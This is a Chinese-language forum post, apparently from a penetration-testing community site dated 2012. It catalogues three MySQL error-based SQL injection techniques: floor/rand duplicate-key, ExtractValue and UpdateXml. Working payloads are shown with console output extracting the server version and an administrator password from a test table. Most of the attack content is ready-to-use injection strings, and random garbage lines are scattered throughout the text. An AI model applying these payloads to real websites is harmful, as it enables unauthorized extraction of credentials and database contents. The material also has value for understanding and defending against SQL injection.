中国网络渗透测试联盟
标题:
关于Mysql注入过程中的三种报错方式
[打印本页]
作者:
admin
时间:
2012-12-10 10:28
标题:
关于Mysql注入过程中的三种报错方式
放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
5 i4 ~* P! {$ {1 ]. I
实际测试环境：
: l$ W3 z5 t- ?/ u
. F: r2 S! u/ Q- n" {' W
8 u2 z. x' L0 E5 I1 _% k h
mysql> show tables;
- q" k$ h% x. _6 F: W. H
+----------------+
6 i% H9 K! |& M9 B# h( p* i! ~) }& x
| Tables_in_test |
! p+ y+ T! A/ X3 T+ ^) t7 n6 o# o5 f
+----------------+
( i8 B4 t. q7 i( {3 ]" d
| admin |
& C: F9 w* F {7 ]3 a
| article |
/ q. `( u* z# Y* Q4 s
+----------------+
, E, d, N3 Y9 m! [- |
7 V6 l$ u6 U: S$ t4 ?
# X$ B$ x4 _. g. }) [
) j" }2 D- ~* T& o/ e9 L, A7 l
mysql> describe admin;
1 l" |6 g6 D/ N7 g0 F% O Q/ k3 I% W
+-------+------------------+------+-----+---------+----------------+
+ ` ~( ]/ }, a( m5 ?
| Field | Type | Null | Key | Default | Extra |
. Q4 c, ^, X( m
+-------+------------------+------+-----+---------+----------------+
2 R* A7 U) a7 u8 t E$ D5 w0 D% W
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
! U2 J [; k& g4 A
| user | varchar(50) | NO | | NULL | |
% B' F8 Z1 R7 x" b2 ~4 \
| pass | varchar(50) | NO | | NULL | |
+ G" B& |2 B: w0 V9 q( F7 R
+-------+------------------+------+-----+---------+----------------+
3 _! E+ m: e* k
& o" R! H. H( U- ~3 ^
4 W$ `# T7 B1 I9 Z3 v- J
& ] m! D' P, H2 E* V
mysql> describe article;
& p% s- E% t o! I
+---------+------------------+------+-----+---------+----------------+
5 b! S! R1 o( `+ |+ s) a4 M& r
| Field | Type | Null | Key | Default | Extra |
; {! N! R# q: I+ v. h6 C6 B
+---------+------------------+------+-----+---------+----------------+
8 g% r, `' V, V$ s0 N( J# c
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
* Q3 j- V1 V% t. Z1 V+ Q; t
| title | varchar(50) | NO | | NULL | |
, u$ s6 N0 V) D0 r% m- r) Y
| content | varchar(50) | NO | | NULL | |
8 P- a! B7 ?( ^; T5 L
+---------+------------------+------+-----+---------+----------------+
. K5 N- }, o2 R) K& f9 c4 G9 J
1、通过floor报错
; J4 k' I7 \- T4 Q: y; W8 F! u& w
可以通过如下一些利用代码
3 {' e* ~2 h A- w$ N0 t( F" C
3 a P0 ?: u$ A
: F, I1 {) P% a5 u* B$ ^
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
0 x5 ~3 ~- N. J* P$ {- a
from information_schema.tables group by x)a);
( D3 U1 w2 u/ g- E3 r$ f
9 S6 i- s- I; `. r8 Z
+ M6 v0 W+ W& K4 c# K1 ]7 r
and (select count(*) from (select 1 union select null union select !1)x
4 u. F9 ^7 _% b, v8 D$ i6 J
group by concat((select table_name from information_schema.tables limit 1),
/ [5 e1 j4 ~, u& p- H& z+ T5 }
floor(rand(0)*2)));
/ }: r( V, k, _' c8 w) [- |
举例如下：
) Z" a" b" {5 s; e6 ?3 |
首先进行正常查询：
! w( d% g4 I0 Z) x Q/ J1 v9 Z
# Y% f6 @. x( z. I+ ?$ w/ O! v) O3 S
mysql> select * from article where id = 1;
" S" z) a" p. D# G9 K0 r6 W; h: b
+----+-------+---------+
* [% j$ o g9 z) n* y; h
| id | title | content |
- \3 l- v1 L& u) n; z0 k
+----+-------+---------+
; }, W* e3 |1 y- I
| 1 | test | do it |
" o" ^! q* w/ z- S5 C# D! K8 Z+ y
+----+-------+---------+
: F0 i6 J/ D1 u' M1 Z: \ U
假如id输入存在注入的话，可以通过如下语句进行报错。
3 i2 _ y3 y' i3 }; D
/ ~3 \2 y6 d; V+ u
$ Z5 ^# {% x' r$ f( G
mysql> select * from article where id = 1 and (select 1 from
3 L* x+ S; B) u/ r
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
" z! }1 D% p! v! e6 N
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
2 W; K% @: G7 W! k4 |/ v
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
! X, A1 r+ y: @2 S# f9 X9 O" [
例如我们需要查询管理员用户名和密码：
8 x: u0 o0 ^- k" T
Method1:
+ `! y4 ]# h9 C- m
+ `5 Y. g( `/ O6 `8 J1 h
4 m$ C+ |1 l+ A, j1 Y
mysql> select * from article where id = 1 and (select 1 from
5 w' T" _. v2 Z! r
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
9 n: y9 t; _9 g. I1 T! I
from information_schema.tables group by x)a);
% [" T% |5 @9 t; k# \: h/ K
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
9 Z( Y1 c" |: Z+ Q
Method2:
* F# \% e4 U8 N1 M* ]1 e& [
. j8 s t, X' C
# e* D1 K5 Z' t" H! G+ r2 F
mysql> select * from article where id = 1 and (select count(*)
4 w+ m/ c3 X ]" b* L4 A- I7 w
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
! V+ u: ~8 p- g, \! ^! j; _
floor(rand(0)*2)));
/ {& O/ ]. u) a2 R, u& g+ X7 |
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
% f# w* J$ N5 l" |: Z9 ^6 ]+ u' L
2、ExtractValue
3 h2 a& F. s& R, k- C
测试语句如下
& a: P% o/ C% `
_! z' b5 w9 H
" }0 i2 a" s5 a7 b; i
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
# }5 N7 O; O& P5 G3 ?. i- o1 S' g
实际测试过程
3 J' |' K5 }6 U9 ~
2 D9 X8 ^, M7 ~' A0 i
4 {1 s/ u* T4 F; a$ p' a
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
' U+ j4 j5 o. Y, X1 k
(select pass from admin limit 1)));--
4 Z) ]2 I6 j; |9 l# J/ V
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
6 W5 t3 R" s y& t/ I/ {- b
3、UpdateXml
9 q2 R. P( h# E* ^: a- C- {
测试语句
. z1 B. I$ Q! f& `* t
) U3 g [3 d1 J2 s, p! {
9 T$ B9 \- m; f, G! A; j
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
% ?4 l! K% C" B/ ~) I9 c
实际测试过程
* Y) W2 F+ I" }+ w. U
" j6 }* T! `* M; f! ?4 c
" Y8 Z1 ~) U# Z% S. Z, ~+ }
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
* |* }$ m0 ]1 W) z
(select pass from admin limit 1),0x5e24),1));
0 W* A5 Z' A. z; L% K* }! X
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
9 W6 H% x: v; L+ K
All, thanks foreign guys.
6 V5 E, c5 k" r, D1 g
& {0 f5 j& e1 D, V& f; C
" S- e0 R% i# s; _; C, v. U& h
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2